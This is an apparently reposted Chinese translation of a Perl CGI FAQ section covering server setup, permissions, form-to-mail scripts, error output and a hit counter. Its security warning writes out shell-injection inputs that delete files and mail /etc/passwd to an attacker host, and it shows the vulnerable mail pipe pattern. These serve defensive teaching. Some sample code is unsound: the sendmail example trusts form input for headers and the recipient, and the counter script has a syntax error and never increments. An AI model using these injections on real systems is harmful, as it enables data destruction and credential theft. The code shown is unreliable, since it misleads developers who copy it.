欢迎光临
我们一直在努力

中文版 Perl CGI 程式写作常问问题集(四)-CGI教程,CGI文档

建站超值云服务器,限时71元/月

3.0 – cgi 与 www server

—————————————————————————

q3.1: 我的 perl cgi 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的?

server 通常是设定成去执行放在 “cgi-bin 目录底下的 cgi 程式。不过,
server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如
..cgi
、.pl)的 scripts 都能执行*。

【译者】设定 cgi aliases 和副档名固然很方便,但 server 管理者须注
意到相关的安全问题。

—————————————————————————

q3.2: 什麽是档案使用权限?怎样改?

档案权限是根据使用者识别代号(又称
uid),以及他们所属的团体来决定是否赋与
使用者读、写,和执行某档案的权利。您可使用 chmod
这个指令去修改档案的使用
权限。例如:

% ls -ls form.cgi
1 -rwx—— 1 shishir 974 oct 31 22:15 form.cgi*

此一档案的权限为
0700(八进制),意味著没有人(档案所有人除外)能够读取、
写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权限:

% chmod 755 form.cgi
% ls -ls form.cgi
1 -rwxr-xr-x 1 shishir 974 oct 31 22:15 form.cgi*

这样一来,权限就变了。现在和 “shishir
在同一个团体的使用者,还有其他任
何的使用者都有权利去读取和执行这个档案了。

如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod
manpages的说明。

—————————————————————————

q3.3: perl 应该安装在哪里才可以执行它?

perl 可以安装在系统上任何一个角落!您唯一要注意的是 server
不能在chroot 的
环境下跑,否则它便无法跑 perl
解译器。换言之,系统管理者可以把根目录改变,
让 “/ 指到另一个目录,而不是实际真正的根目录(“/)。

—————————————————————————

q3.4: 我为什麽一直得到 “server: error 500 的讯息?

以下几种情形会触发这个错误讯息:

* 如果 script 开头的地方没有 “#!/usr/local/bin/perl 这个指到
perl 解
译器的标头,或者是指到解译器(或 library 档)的路径错误。
* 如果 script 输出的第一行是一个不正确的标头(即 “content-type:
text/html ),或者是该标头後面没有跟著一个空行。
* 如果您的 script 有句法上的错误。您的 scripts
都应在指令列先跑跑看才
是。

—————————————————————————

q3.5: 我试著打开一个档案,想把资料储存在里头,但是 open()
的指令失败了。到
底是怎麽搞的?

一般说来,http server 是以
“nobody、“www,或其他这类权限低的使用者的
身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server
跑的使用
者 id 必须要是可写(writable)才行。

为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return
status
),看看 open 有没有成功。

open(file, "/abc/data.txt")
|| error("could not open file /abc/data.txt");
.
.
.
sub error {
my($message) = @_;

print <<end_of_error;
content-type: text/html
status: 500 cgi error
<html>
<head><title>cgi error</title></head>
<body>
<h1>oops! error</h1>
<hr>
$message
<hr>
</body>
</html>
end_of_error
}

4.0 -程式设计疑难杂症

—————————————————————————

q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例?

其实做这个很容易。您的 cgi script 必须能做到这两件事:

1. 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被
url-编码起来
(先不考虑 netscape 2.0 【及 2.0 以上所支援】的 multipart
mime资料)。
2. 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form
资料写过去。

我们就假设您用的是 cgi::* 模组。您可用以下的方法去叫 sendmail:

$cgi_form = new cgi::form;
$from = $cgi_form->param(from);
$name = $cgi_form->param(name);
$to = $cgi_form->param(to);
$subject = $cgi_form->param(subject);
$message = $cgi_form->param(message);
open sendmail, "| /usr/bin/sendmail -t -n";
print sendmail <<end_of_mail;
from: $from <$name>
to: $to
reply-to: $from
subject: $subject
$message
end_of_mail

有一个该注意的地方是 “reply-to: 的信头。由於 server 是以
“nobody

这个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信
的时後)。加上 “reply-to 的信头这个问题便解决了。

网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail:

【译者】gateway 在此指送 email 的 cgi 程式

open mail, "| mail -s subject $to";
^
|
+–
可能会出问题的漏洞!!!

如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号
(metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user
输入了以下
的资料:

; rm -fr / ;

那麽您的麻烦可大了*。

【译者】这里头的 “; 便是一个危险的 shell metacharacter。
另一个危险的符号是 “&。

在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得
视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权
限使用者身份跑的原因)。至少那些由 cgi 程式制造出来,但又没
有备份的档案,是真的要跟它们永别了。

; mail joe@crackerland.org </etc/passwd

那您的 cgi script 就替您把 /etc/passwd 给拱手送上了。这对一
个「未加工」的 linux、sunos 4.1,还有其他任何没安装
shadow-password 的 unix 系统来说,实在不太好玩。如果 server
错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为
远方的 cracker 甚至可以让这个 cgi 的 email script 给他送
/etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。

———————————————————————-

q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用
“mailto:url,这样 user 填入的资料就可以寄给我了?

很不幸地,mailto:
的指令并不是所有的浏览器都支援。如果您在档案中用了它
的话,会限制了那些使用没有支援 mailto:的浏览器的人,让他们无法送
mail 给您*。

【译者】尽管如此,您或许不会在乎那占极少数比例的使用者
(netscape 、 ie,和 lynx 等浏览器都支援 mailto:)。

———————————————————————-

q4.3: 我要如何在 unix 以外的平台上做 perl-cgi,譬如 mac、ms-dos、
windows 及 nt?我的 perl cgi
程式能不能在这些平台之间互相移植呢?能不
能很直接,没有麻烦?我在 unix 主机上有帐号,但是都是先在
windows/mac
上做。我要如何在我自己的机器上测试写好的 cgi scripts*?

perl 已经被移植到上述所有的平台上了。因此,您的 perl cgi
程式照理应不
难移植。但如果您使用到一些 unix
上的程式,那麽您的程式可能会不好移

植。如果您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有
问题。

【译者】原 faq 并未回答最後这个问题。要在 windows/os2/mac 等
非 unix 平台上测式您的 scripts ,您可以使用 cgi.pm (支援以
上所有平台),配合 q4.19 中提示的除错技巧,或在自己的机器上
安装 http server 软体。如此就不用辛苦的连上主机去测式了。

———————————————————————-

q4.4: 在 perl cgi 程式中,stderr (标准错误讯息)、stdin
(标准输入),
和 stdout (标准输出)各是连到何处?

在 cgi 环境下,stderr 会指向 server 的错误讯息档 (error
log)。您可以
善加利用这个特性,把除错的讯息写到
stderr,然後您便可藉查看错误讯息档
来帮您除错。

stdin 和 stdout 则都和浏览器相连。实际上,stdin 连的是 server。
server
会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。

您也可以用将 stderr 「复制」到 stdout
的方法来抓错误讯息。这应该在
script 靠前头的地方做(但应在您输出合适的 http 标头之後):

open stderr, ">&stdout";

这会将所有的错误讯息都转送到 stdout (即浏览器)去。

———————————————————————-

q4.5: 如何写计数器?

计数器一类的程式相当流行。其实计数器的原理很简单,不过是:
o 用一个档案去储存资料。
o 每当有人光临网站,增大档案中所计的数字。

以下是一个简单的计数器的实例:

#!/usr/local/bin/perl -w
$counter = "/home/shishir/counter.dat";
print "content-type: text/plain", "\n\n";
open(file, $counter) || die "cannot read from the counter
file.\n";
flock file, 2;
$visitors = <file>
flock file, 8;
close file;
open(file, ">$counter") || die "cannot write to counter
file.\n";
flock file, 2;
print file $visitors;
flock file, 8;
close file;

现在您可以在 html 档案中用 ssi (server side include; 伺服端插入)*
的方
式来显示该计数器:

【译者】ssi 是 server 所提供的一项功能,可将动态资料,例如日
期和时间,或计数器显示等,在客户请求一网页时即时加入该文件
中。支援 ssi 的 servers 包括了 ncsa
(<http://hoohoo.ncsa.uiuc.edu>、apache
(<http://www.apache.org/>,和netscape enterprise server

(<http://home.netscape.com/comprod/server_central/product/enterprise/>
等。 ssi 固然是一项便利的设计,但如过份滥用,不但会减低
server 性能,更可能招来安全上的危机。

您是第
<!–#exec cgi="/cgi-bin/counter.pl–>
位光临本站的客人。

赞(0)
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com 特别注意:本站所有转载文章言论不代表本站观点! 本站所提供的图片等素材,版权归原作者所有,如需使用,请与原作者联系。未经允许不得转载:IDC资讯中心 » 中文版 Perl CGI 程式写作常问问题集(四)-CGI教程,CGI文档
分享到: 更多 (0)